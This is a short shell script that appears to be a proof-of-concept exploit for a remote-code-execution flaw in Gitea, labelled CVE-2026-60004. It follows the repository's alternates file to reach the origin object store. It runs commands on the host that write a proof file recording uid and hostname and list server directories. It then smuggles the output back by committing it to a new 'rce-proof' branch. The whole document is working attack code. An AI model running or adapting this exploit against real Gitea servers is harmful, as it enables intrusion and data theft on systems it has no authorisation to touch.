#!/bin/sh
git_dir=$(git rev-parse --absolute-git-dir) || exit 1
origin_objects=$(sed -n "1p" "$git_dir/objects/info/alternates") || exit 2
case "$origin_objects" in
 /*) ;;
 *) origin_objects="$git_dir/objects/$origin_objects" ;;
esac
origin_git=${origin_objects%/objects}
[ "$origin_git" != "$origin_objects" ] || exit 3
output_blob=$( { mkdir -p /data/gitea/custom/public/img && printf 'RCE PROOF CVE-2026-60004 %s uid=%s host=%s\n' "$(date -u +%Y-%m-%dT%H:%M:%SZ)" "$(id -u)" "$(hostname)" > /data/gitea/custom/public/img/rce-proof.txt; ls -la /data/gitea/custom/public/img/; echo "== custom/public agaci =="; find /data/gitea/custom -type f -o -type d | head ; } 2>&1 | git --git-dir="$origin_git" hash-object -w --stdin) || exit 4
tree=$(printf "100644 blob %s\tproof\n" "$output_blob" | git --git-dir="$origin_git" mktree) || exit 5
commit=$(printf "rce proof\n" | GIT_AUTHOR_NAME=poc GIT_AUTHOR_EMAIL=poc@x GIT_COMMITTER_NAME=poc GIT_COMMITTER_EMAIL=poc@x git --git-dir="$origin_git" commit-tree "$tree") || exit 6
git --git-dir="$origin_git" update-ref refs/heads/rce-proof "$commit" || exit 7
exit 0